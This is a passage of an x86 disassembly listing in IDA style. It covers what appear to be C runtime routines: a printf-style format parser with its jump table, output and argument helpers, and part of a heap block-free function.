; ---------------------------------------------------------------------------


loc_419481:				; CODE XREF: sub_419343+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_419493:				; CODE XREF: sub_419343+6Ej
					; DATA XREF: ___:off_419A64o
		cmp	bl, 49h		; jumptable 004193B1 case 6
		jz	short loc_4194C6
		cmp	bl, 68h
		jz	short loc_4194BD
		cmp	bl, 6Ch
		jz	short loc_4194B4
		cmp	bl, 77h
		jnz	loc_419A4B	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_4194B4:				; CODE XREF: sub_419343+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_4194BD:				; CODE XREF: sub_419343+158j
		or	[ebp+var_4], 20h
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_4194C6:				; CODE XREF: sub_419343+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_4194DF
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_4194DF
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_4194DF:				; CODE XREF: sub_419343+186j
					; sub_419343+18Cj
		mov	[ebp+var_30], edx


loc_4194E2:				; CODE XREF: sub_419343+6Ej
					; DATA XREF: ___:off_419A64o
		mov	ecx, off_43B5A0	; jumptable 004193B1 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41950E
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_419A84
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41950E:				; CODE XREF: sub_419343+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_419A84
		add	esp, 0Ch
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_419526:				; CODE XREF: sub_419343+6Ej
					; DATA XREF: ___:off_419A64o
		movsx	eax, bl		; jumptable 004193B1 case 7
		cmp	eax, 67h
		jg	loc_41974E
		cmp	eax, 65h
		jge	loc_4195D1
		cmp	eax, 58h
		jg	loc_41962F
		jz	loc_4197C2
		sub	eax, 43h
		jz	loc_4195F2
		dec	eax
		dec	eax
		jz	short loc_4195C7
		dec	eax
		dec	eax
		jz	short loc_4195C7
		sub	eax, 0Ch
		jnz	loc_41994D
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_419570
		or	byte ptr [ebp+var_4+1],	8


loc_419570:				; CODE XREF: sub_419343+227j
					; sub_419343+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41957D
		mov	esi, 7FFFFFFFh


loc_41957D:				; CODE XREF: sub_419343+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_419B22
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_419796
		test	ecx, ecx
		jnz	short loc_4195A5
		mov	ecx, off_43B59C
		mov	[ebp+var_8], ecx


loc_4195A5:				; CODE XREF: sub_419343+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_4195AE:				; CODE XREF: sub_419343+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41978D
		cmp	word ptr [eax],	0
		jz	loc_41978D
		inc	eax
		inc	eax
		jmp	short loc_4195AE
; ---------------------------------------------------------------------------


loc_4195C7:				; CODE XREF: sub_419343+212j
					; sub_419343+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4195D1:				; CODE XREF: sub_419343+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4196B5
		mov	[ebp+var_10], 6
		jmp	loc_4196C3
; ---------------------------------------------------------------------------


loc_4195F2:				; CODE XREF: sub_419343+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4195FE
		or	byte ptr [ebp+var_4+1],	8


loc_4195FE:				; CODE XREF: sub_419343+2B5j
					; sub_419343+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_419645
		call	sub_419B3F
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41D68B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_419658
		mov	[ebp+var_28], 1
		jmp	short loc_419658
; ---------------------------------------------------------------------------


loc_41962F:				; CODE XREF: sub_419343+1FBj
		sub	eax, 5Ah
		jz	short loc_419666
		sub	eax, 9
		jz	short loc_4195FE
		dec	eax
		jz	loc_419828
		jmp	loc_41994D
; ---------------------------------------------------------------------------


loc_419645:				; CODE XREF: sub_419343+2C5j
		call	sub_419B22
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_419658:				; CODE XREF: sub_419343+2E1j
					; sub_419343+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41994D
; ---------------------------------------------------------------------------


loc_419666:				; CODE XREF: sub_419343+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_419B22
		test	eax, eax
		pop	ecx
		jz	short loc_4196A7
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4196A7
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_419698
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41994D
; ---------------------------------------------------------------------------


loc_419698:				; CODE XREF: sub_419343+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41994A
; ---------------------------------------------------------------------------


loc_4196A7:				; CODE XREF: sub_419343+32Fj
					; sub_419343+336j
		mov	eax, off_43B598
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_419743
; ---------------------------------------------------------------------------


loc_4196B5:				; CODE XREF: sub_419343+29Dj
		jnz	short loc_4196C3
		cmp	bl, 67h
		jnz	short loc_4196C3
		mov	[ebp+var_10], 1


loc_4196C3:				; CODE XREF: sub_419343+2AAj
					; sub_419343:loc_4196B5j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43B8C8
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_419715
		cmp	[ebp+var_10], 0
		jnz	short loc_419715
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B8D4
		pop	ecx


loc_419715:				; CODE XREF: sub_419343+3BCj
					; sub_419343+3C2j
		cmp	bl, 67h
		jnz	short loc_41972C
		test	esi, esi
		jnz	short loc_41972C
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B8CC
		pop	ecx


loc_41972C:				; CODE XREF: sub_419343+3D5j
					; sub_419343+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_419742
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_419742:				; CODE XREF: sub_419343+3F0j
		push	edi


loc_419743:				; CODE XREF: sub_419343+36Dj
		call	sub_417AF0
		pop	ecx
		jmp	loc_41994A
; ---------------------------------------------------------------------------


loc_41974E:				; CODE XREF: sub_419343+1E9j
		sub	eax, 69h
		jz	loc_419828
		sub	eax, 5
		jz	loc_4197FE
		dec	eax
		jz	loc_4197EB
		dec	eax
		jz	short loc_4197BB
		sub	eax, 3
		jz	loc_419570
		dec	eax
		dec	eax
		jz	loc_41982C
		sub	eax, 3
		jnz	loc_41994D
		mov	[ebp+var_2C], 27h
		jmp	short loc_4197C9
; ---------------------------------------------------------------------------


loc_41978D:				; CODE XREF: sub_419343+270j
					; sub_419343+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41994A
; ---------------------------------------------------------------------------


loc_419796:				; CODE XREF: sub_419343+24Fj
		test	ecx, ecx
		jnz	short loc_4197A3
		mov	ecx, off_43B598
		mov	[ebp+var_8], ecx


loc_4197A3:				; CODE XREF: sub_419343+455j
		mov	eax, ecx


loc_4197A5:				; CODE XREF: sub_419343+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4197B4
		cmp	byte ptr [eax],	0
		jz	short loc_4197B4
		inc	eax
		jmp	short loc_4197A5
; ---------------------------------------------------------------------------


loc_4197B4:				; CODE XREF: sub_419343+467j
					; sub_419343+46Cj
		sub	eax, ecx
		jmp	loc_41994A
; ---------------------------------------------------------------------------


loc_4197BB:				; CODE XREF: sub_419343+425j
		mov	[ebp+var_10], 8


loc_4197C2:				; CODE XREF: sub_419343+201j
		mov	[ebp+var_2C], 7


loc_4197C9:				; CODE XREF: sub_419343+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_419833
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_419833
; ---------------------------------------------------------------------------


loc_4197EB:				; CODE XREF: sub_419343+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_419833
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_419833
; ---------------------------------------------------------------------------


loc_4197FE:				; CODE XREF: sub_419343+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_419B22
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_419817
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41981C
; ---------------------------------------------------------------------------


loc_419817:				; CODE XREF: sub_419343+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41981C:				; CODE XREF: sub_419343+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_419828:				; CODE XREF: sub_419343+2F7j
					; sub_419343+40Ej
		or	[ebp+var_4], 40h


loc_41982C:				; CODE XREF: sub_419343+432j
		mov	[ebp+var_C], 0Ah


loc_419833:				; CODE XREF: sub_419343+491j
					; sub_419343+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_419845
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_419B2F
		pop	ecx
		jmp	short loc_419886
; ---------------------------------------------------------------------------


loc_419845:				; CODE XREF: sub_419343+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41986C
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_419861
		call	sub_419B22
		pop	ecx
		movsx	eax, ax


loc_41985E:				; CODE XREF: sub_419343+527j
					; sub_419343+539j
		cdq
		jmp	short loc_419886
; ---------------------------------------------------------------------------


loc_419861:				; CODE XREF: sub_419343+510j
		call	sub_419B22
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41985E
; ---------------------------------------------------------------------------


loc_41986C:				; CODE XREF: sub_419343+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41987E
		call	sub_419B22
		pop	ecx
		jmp	short loc_41985E
; ---------------------------------------------------------------------------


loc_41987E:				; CODE XREF: sub_419343+531j
		call	sub_419B22
		pop	ecx
		xor	edx, edx


loc_419886:				; CODE XREF: sub_419343+500j
					; sub_419343+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4198A7
		test	edx, edx
		jg	short loc_4198A7
		jl	short loc_419896
		test	eax, eax
		jnb	short loc_4198A7


loc_419896:				; CODE XREF: sub_419343+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4198AB
; ---------------------------------------------------------------------------


loc_4198A7:				; CODE XREF: sub_419343+547j
					; sub_419343+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4198AB:				; CODE XREF: sub_419343+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4198B4
		and	edi, 0


loc_4198B4:				; CODE XREF: sub_419343+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4198C3
		mov	[ebp+var_10], 1
		jmp	short loc_4198C7
; ---------------------------------------------------------------------------


loc_4198C3:				; CODE XREF: sub_419343+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4198C7:				; CODE XREF: sub_419343+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4198D1
		and	[ebp+var_1C], 0


loc_4198D1:				; CODE XREF: sub_419343+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4198D7:				; CODE XREF: sub_419343+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4198E7
		mov	eax, esi
		or	eax, edi
		jz	short loc_419922


loc_4198E7:				; CODE XREF: sub_419343+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_4189C0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_418A40
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_419918
		add	ebx, [ebp+var_2C]


loc_419918:				; CODE XREF: sub_419343+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4198D7
; ---------------------------------------------------------------------------


loc_419922:				; CODE XREF: sub_419343+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41994D
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_419940
		test	eax, eax
		jnz	short loc_41994D


loc_419940:				; CODE XREF: sub_419343+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41994A:				; CODE XREF: sub_419343+35Fj
					; sub_419343+406j ...
		mov	[ebp+var_C], eax


loc_41994D:				; CODE XREF: sub_419343+21Bj
					; sub_419343+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_419A4B	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_419985
		test	bh, 1
		jz	short loc_41996A
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41997E
; ---------------------------------------------------------------------------


loc_41996A:				; CODE XREF: sub_419343+61Fj
		test	bl, 1
		jz	short loc_419975
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41997E
; ---------------------------------------------------------------------------


loc_419975:				; CODE XREF: sub_419343+62Aj
		test	bl, 2
		jz	short loc_419985
		mov	[ebp+var_16], 20h


loc_41997E:				; CODE XREF: sub_419343+625j
					; sub_419343+630j
		mov	[ebp+var_1C], 1


loc_419985:				; CODE XREF: sub_419343+61Aj
					; sub_419343+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4199A5
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_419AB9
		add	esp, 10h


loc_4199A5:				; CODE XREF: sub_419343+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_419AEA
		add	esp, 10h
		test	bl, 8
		jz	short loc_4199D7
		test	bl, 4
		jnz	short loc_4199D7
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_419AB9
		add	esp, 10h


loc_4199D7:				; CODE XREF: sub_419343+67Bj
					; sub_419343+680j
		cmp	[ebp+var_24], 0
		jz	short loc_419A1E
		cmp	[ebp+var_C], 0
		jle	short loc_419A1E
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4199EC:				; CODE XREF: sub_419343+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41D68B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_419A33
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_419AEA
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4199EC
		jmp	short loc_419A33
; ---------------------------------------------------------------------------


loc_419A1E:				; CODE XREF: sub_419343+698j
					; sub_419343+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_419AEA
		add	esp, 10h


loc_419A33:				; CODE XREF: sub_419343+6BCj
					; sub_419343+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_419A4B ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_419AB9
		add	esp, 10h


loc_419A4B:				; CODE XREF: sub_419343+68j
					; sub_419343+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41936F


loc_419A5C:				; CODE XREF: sub_419343+1Fj
					; sub_419343+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419343	endp

; ---------------------------------------------------------------------------
off_419A64	dd offset loc_4194E2	; DATA XREF: sub_419343+6Er
		dd offset loc_4193B8	; jump table for switch	statement
		dd offset loc_4193D3
		dd offset loc_41941F
		dd offset loc_419456
		dd offset loc_41945E
		dd offset loc_419493
		dd offset loc_419526

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A84	proc near		; CODE XREF: sub_419343+1BDp
					; sub_419343+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_419A9D
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_419AA8
; ---------------------------------------------------------------------------


loc_419A9D:				; CODE XREF: sub_419A84+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41922E
		pop	ecx
		pop	ecx


loc_419AA8:				; CODE XREF: sub_419A84+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_419AB5
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419AB5:				; CODE XREF: sub_419A84+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_419A84	endp


; =============== S U B	R O U T	I N E =======================================



sub_419AB9	proc near		; CODE XREF: sub_419343+65Ap
					; sub_419343+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_419AE7
		mov	esi, [esp+8+arg_C]


loc_419ACA:				; CODE XREF: sub_419AB9+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_419A84
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_419AE7
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_419ACA


loc_419AE7:				; CODE XREF: sub_419AB9+Bj
					; sub_419AB9+25j
		pop	edi
		pop	esi
		retn
sub_419AB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_419AEA	proc near		; CODE XREF: sub_419343+670p
					; sub_419343+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_419B1E
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_419B00:				; CODE XREF: sub_419AEA+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_419A84
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_419B1E
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_419B00


loc_419B1E:				; CODE XREF: sub_419AEA+Cj
					; sub_419AEA+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_419AEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B22	proc near		; CODE XREF: sub_419343+E5p
					; sub_419343+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_419B22	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B2F	proc near		; CODE XREF: sub_419343+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_419B2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B3F	proc near		; CODE XREF: sub_419343+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_419B3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B4D	proc near		; CODE XREF: sub_417894+17p
					; sub_417894+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_419B6B
		mov	ecx, off_43B5A0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_419BBD
; ---------------------------------------------------------------------------


loc_419B6B:				; CODE XREF: sub_419B4D+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43B5A0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_419B90
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_419B99
; ---------------------------------------------------------------------------


loc_419B90:				; CODE XREF: sub_419B4D+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_419B99:				; CODE XREF: sub_419B4D+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41D6F3
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_419BB9
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BB9:				; CODE XREF: sub_419B4D+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_419BBD:				; CODE XREF: sub_419B4D+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_419B4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BC2	proc near		; CODE XREF: sub_417C00+1Fp
					; sub_418C3F+106p ...

arg_0		= dword	ptr  4

		mov	eax, dword_5158E0
		test	eax, eax
		jz	short loc_419BDA
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_419BDA
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_419BDA:				; CODE XREF: sub_419BC2+7j
					; sub_419BC2+12j
		xor	eax, eax
		retn
sub_419BC2	endp

; ---------------------------------------------------------------------------
		db 33h,	0C0h, 6Ah
		dd 24443900h, 10006808h, 940F0000h, 0E89050C0h,	7C3F8FC2h
		dd 0C0A3C085h, 7400516Eh, 17E815h, 0C0850000h, 35FF0F75h
		dd 516EC0h, 72E6E890h, 0C0337C3Fh, 58016AC3h, 14068C3h
		dd 6A0000h, 6EC035FFh, 0E8900051h, 7C4F69A8h, 0BCA3C085h
		dd 7500516Eh, 2583C301h, 516EB4h, 0B8258300h, 516Eh, 0B0A3016Ah
		dd 0C700516Eh, 516EA805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_419C57	proc near		; CODE XREF: sub_417C62+Ap
					; sub_418C3F+3Dp

arg_0		= dword	ptr  4

		mov	eax, dword_516EB8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_516EBC
		lea	ecx, [eax+ecx*4]


loc_419C67:				; CODE XREF: sub_419C57+26j
		cmp	eax, ecx
		jnb	short loc_419C7F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_419C81
		add	eax, 14h
		jmp	short loc_419C67
; ---------------------------------------------------------------------------


loc_419C7F:				; CODE XREF: sub_419C57+12j
		xor	eax, eax

locret_419C81:				; CODE XREF: sub_419C57+21j
		retn
sub_419C57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C82	proc near		; CODE XREF: sub_417C62+16p
					; sub_418C3F+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_419D48
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_419CDA
		mov	[ebp+arg_4], edi


loc_419CDA:				; CODE XREF: sub_419C82+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_419D2C
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_419D08
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_419D2C
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_419D2C
; ---------------------------------------------------------------------------


loc_419D08:				; CODE XREF: sub_419C82+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_419D2C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_419D2C:				; CODE XREF: sub_419C82+60j
					; sub_419C82+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_419D48:				; CODE XREF: sub_419C82+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_419D56
		push	3Fh
		pop	edi


loc_419D56:				; CODE XREF: sub_419C82+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_419E05
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_419D81
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_419D81:				; CODE XREF: sub_419C82+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_419D93
		mov	edi, edx


loc_419D93:				; CODE XREF: sub_419C82+10Dj
